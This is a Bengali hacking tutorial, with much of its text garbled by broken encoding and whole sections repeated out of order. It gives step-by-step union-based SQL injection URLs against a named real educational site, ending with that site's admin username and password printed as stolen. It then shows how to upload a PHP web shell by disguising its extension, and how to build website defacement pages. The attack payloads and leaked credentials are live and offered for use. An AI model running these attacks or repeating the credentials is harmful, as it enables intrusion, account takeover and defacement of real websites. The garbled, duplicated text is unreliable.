এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
